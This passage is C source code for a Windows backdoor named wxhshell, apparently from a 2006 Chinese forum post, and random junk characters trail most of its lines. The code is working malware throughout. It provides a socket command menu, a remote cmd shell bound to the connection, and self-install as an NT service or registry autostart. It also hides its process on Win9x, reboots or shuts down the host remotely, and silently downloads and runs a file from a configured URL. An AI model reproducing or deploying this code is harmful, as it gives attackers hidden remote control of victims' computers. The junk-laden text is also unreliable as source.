    switch(cmd[0]) { gbDX7r-  
  3J~0O2  
  // 帮助 7(bQ}mHl\  
  case '?': { K R,z^9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O0T/#<Cn!  
    break; ~`qEWvPn  
  } \'Ssn(s  
  // 安装 wN97_Y=`n  
  case 'i': { %{!R l@  
    if(Install()) C&+6>L@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fv8f+)k)Z~  
    else /7D<'MF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\YAnKn6_  
    break; mM_ k ^4:  
    } qnChM ;)  
  // 卸载 `zA#z />  
  case 'r': { VT\ "q1)p  
    if(Uninstall()) X|}2_B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.m(ltGh  
    else #Exp51  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` qUX.  
    break; o.m:3!RW  
    } B(_WZa!  
  // 显示 wxhshell 所在路径 k()$:-V  
  case 'p': { 0|c}p([~  
    char svExeFile[MAX_PATH]; f>2MI4nMG  
    strcpy(svExeFile,"\n\r"); wM~H(=s`D  
      strcat(svExeFile,ExeFile); wi_'iv  
        send(wsh,svExeFile,strlen(svExeFile),0); SmhGZ  
    break; I9?Ec6a_  
    } \]uV!)V5B  
  // 重启 V`kMCE;?l  
  case 'b': { -]srp;=i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u0 QzLi,  
    if(Boot(REBOOT)) :nA.j"@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*45Vf  
    else { = &tmP  
    closesocket(wsh); -C-yQ.>\T#  
    ExitThread(0); jQS 6J+F]  
    } c9wfsapJ  
    break; UAn&\8g_  
    } AY,].Zg[  
  // 关机 .iG&Lw\,  
  case 'd': { k V;fD$iW;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W$0^(FH[  
    if(Boot(SHUTDOWN)) W3H+.E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mh.+."<)F  
    else { V5i*O3a~   
    closesocket(wsh); $pyOn2}  
    ExitThread(0); _n;;][]S  
    } bQ'8SCe  
    break; `=UWqb(K_  
    } @-HG`c ct  
  // 获取shell pav'1d%  
  case 's': { i,I B!x  
    CmdShell(wsh); H/+B%2Zj  
    closesocket(wsh); z^<L(/rg9"  
    ExitThread(0); bN$r k|  
    break; \$sjrqKnu  
  } A9BX_9}]  
  // 退出 ,m_WR7!$E  
  case 'x': { ZfrVjUB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n/~A`%E@  
    CloseIt(wsh); zCv"]%  
    break; #bH_Dg5I  
    } c(#;_Ve2P  
  // 离开 MUnEuhXTr  
  case 'q': { [F!Y%Zp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w[tmCn+  
    closesocket(wsh); }e2VY  
    WSACleanup(); vS\Nd1~?  
    exit(1); SAY LG  
    break; MN ^Aw9U  
        } >-8cU_m7s  
  } 6;'dUGvH  
  } d?wc*N3  
.*g0w`H5pU  
  // 提示信息 ':{>a28=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a.N{-2ptH  
} FMA6_fju4  
  } zk-.u}RBFG  
}}v9 `F  
  return; 6AG`&'"  
} 1#IlWEg  
I/Jb!R ~  
// shell模块句柄 |a1{ve[  
int CmdShell(SOCKET sock) BTgG4F/)  
{ jTO), v:w  
STARTUPINFO si; b 5yW_Ozdh  
ZeroMemory(&si,sizeof(si)); ;OqB5qd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W-NDBP:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ym%xx!9  
PROCESS_INFORMATION ProcessInfo; HK`I\,K  
char cmdline[]="cmd"; ZKHG!`X0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pRkP~ZISU  
  return 0; A,sr[Pa@  
} ^8.]d~j  
YIw1  
// 自身启动模式 ~ab:/!Z  
int StartFromService(void) T,aW8|  
{ $9Hcdbdm  
typedef struct fhL,aCS=  
{ nt*Hc1I  
  DWORD ExitStatus; R2Zgx\VV'  
  DWORD PebBaseAddress; , ]bB9tid  
  DWORD AffinityMask; [!!Q,S"  
  DWORD BasePriority; rj(T~d4  
  ULONG UniqueProcessId; }gJ(DbnV  
  ULONG InheritedFromUniqueProcessId; 93Co}@Y;Y+  
}   PROCESS_BASIC_INFORMATION; 3EJt%}V$k  
:VTTh |E%#  
PROCNTQSIP NtQueryInformationProcess; ULMu19>  
I f\fLhM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6DH~dL_",%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "g$IP9?U  
/p8dZ+X  
  HANDLE             hProcess; O,Cb"{qH8  
  PROCESS_BASIC_INFORMATION pbi; nBk)WX&[K  
uj :%#u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,l<6GB2\  
  if(NULL == hInst ) return 0; 'Lu__NfN  
'7XIhN9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z`:lcF{V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (J z1vEEV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xlQBe-Wg  
4$P0:  
  if (!NtQueryInformationProcess) return 0; }GeSu|m(  
Y1]n^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rqY`8Ry2M  
  if(!hProcess) return 0; z11O F  
r-:Uz\gM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iof-7{+3_  
q FAT]{{  
  CloseHandle(hProcess); N;\'N ne  
AvfNwE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y&V@^ "`  
if(hProcess==NULL) return 0; 9I4K}R  
v%q0OX>9X"  
HMODULE hMod; 2 B  
char procName[255]; Za 1QC;7  
unsigned long cbNeeded; K*~0"F>"0  
cXKjrL[b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p,eTY[k?  
Ft&]7dT{W  
  CloseHandle(hProcess); 3.*8)NW  
))"6ern  
if(strstr(procName,"services")) return 1; // 以服务启动 [n :<8ho  
}hhGu\  
  return 0; // 注册表启动 Y\No4w ^|d  
} , GP?amh  
HhvdqvIEG  
// 主模块 x^y'P<ypw  
int StartWxhshell(LPSTR lpCmdLine) L U={")TdQ  
{ ]"?)Z  
  SOCKET wsl; sVOyT*GY  
BOOL val=TRUE; |a Vn&qK  
  int port=0; R=QZgpR  
  struct sockaddr_in door; hpD!2 K3>  
'h,VR=e<  
  if(wscfg.ws_autoins) Install(); *-8&[D0  
Sy0$z39  
port=atoi(lpCmdLine); 9po3m]|zy  
. QBF`Rz  
if(port<=0) port=wscfg.ws_port; #T'{ n1AI  
++`0rY%  
  WSADATA data; =,6z4" )  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y ~U #veY  
sM `DL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x8V('`}j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kZmpu?P  
  door.sin_family = AF_INET; l4uMG]m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (2$p{Uf  
  door.sin_port = htons(port); |R/%D%_g  
-#N.X_F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }E50>g  
closesocket(wsl); ^f4s"T  
return 1; 6\q]rfQ  
} SC)g^E#  
L?mrba y  
  if(listen(wsl,2) == INVALID_SOCKET) { @~"h62=] -  
closesocket(wsl); `xqr{lhL  
return 1; >JFO@O5  
} rrik,qyv6  
  Wxhshell(wsl); JR@`2YP-  
  WSACleanup(); i#vYyVr[  
gc-@"wI?  
return 0; G}b]w~ML ~  
#Y a4ps_  
} ix)M`F%P3  
$QLcH;+7t  
// 以NT服务方式启动 8 Hg+H=?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 61k"p2?+  
{ }HFN3cq;C  
DWORD   status = 0; 'h|DO/X~L  
  DWORD   specificError = 0xfffffff; P2#XKG  
K8GP@yD]M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nxnv,AZG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W{6|tx)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y 5- F@(  
  serviceStatus.dwWin32ExitCode     = 0; $5aV:Z3P  
  serviceStatus.dwServiceSpecificExitCode = 0; z[L8$7L  
  serviceStatus.dwCheckPoint       = 0; !Prg_6 `  
  serviceStatus.dwWaitHint       = 0; d928~y W  
\ `~Ly-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "n(hfz0y%  
  if (hServiceStatusHandle==0) return; R;&AijS8  
7&jTtKLj  
status = GetLastError(); K* LlW@  
  if (status!=NO_ERROR) yerg=,$_i  
{ a|t$l=|DD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XDOY`N^L  
    serviceStatus.dwCheckPoint       = 0; 96( v  
    serviceStatus.dwWaitHint       = 0; `{3<{wgw  
    serviceStatus.dwWin32ExitCode     = status; xr4 *{v  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6t[+pL\b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7)`nD<j 5  
    return;  mHdA2  
  } i&bA2p3+d  
S&Zm0Ku  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vlmB`T  
  serviceStatus.dwCheckPoint       = 0; Z'`<5A%;  
  serviceStatus.dwWaitHint       = 0; &^ 1$^=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +" .X )avF  
} !Xf5e*1IS  
`u3EU*~W  
// 处理NT服务事件,比如:启动、停止 BC&S>#\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N{9v1`B  
{ gc_:%ki  
switch(fdwControl) il4^zj82  
{ !/'t5~x[  
case SERVICE_CONTROL_STOP: ,<(}|go   
  serviceStatus.dwWin32ExitCode = 0; ]!?;@$wx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e^6)Zz1\  
  serviceStatus.dwCheckPoint   = 0; <wN}X#M  
  serviceStatus.dwWaitHint     = 0; Y,<{vLEC  
  { ]7W&JKmA&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :~&~y-14  
  } FH?U(-  
  return; t3 8m'J :>  
case SERVICE_CONTROL_PAUSE: BO~ 0ON0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HVR /7&g  
  break; ry`Ho8N  
case SERVICE_CONTROL_CONTINUE: x -WmMfcz&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ak$f"py x  
  break; X`kk]8 =  
case SERVICE_CONTROL_INTERROGATE: lA| 5E?  
  break; oK6tTK  
}; ?GKb7Oj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >)fi^  
} q/4J.j L  
9UdM`v)(  
// 标准应用程序主函数 rK'L6o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EH+"~-v)ae  
{ gX@HO|.t  
>?2M }TV3  
// 获取操作系统版本 $v4.sl:x  
OsIsNt=GetOsVer(); ysQ_[ ]/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >*~L28Fyn  
:3v}kLO7|  
  // 从命令行安装 vOn`/5-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 a(yp3  
dI.WK@W'o  
  // 下载执行文件 w1Nm&}V  
if(wscfg.ws_downexe) { g0xuxK;9c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "h{q#~s  
  WinExec(wscfg.ws_filenam,SW_HIDE); kj#?whK6~  
} v|XTr,#  
]l_\71  
if(!OsIsNt) { %". HaI]  
// 如果时win9x,隐藏进程并且设置为注册表启动 [L3=x;U  
HideProc(); hci6P>h<ia  
StartWxhshell(lpCmdLine); $O&b``  
} 9&-dTayIz  
else zqimR#u  
  if(StartFromService()) cvn@/qBq*t  
  // 以服务方式启动 "%`1 ]Fr  
  StartServiceCtrlDispatcher(DispatchTable); dU&a{ $ku[  
else <Th6r.#?  
  // 普通方式启动 }MJy +Z8&  
  StartWxhshell(lpCmdLine); w$3 ,A$8  
.0zY}`  
return 0; }^ApJS(FQ  
}
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只看该作者 1 发表于: 2006-10-10
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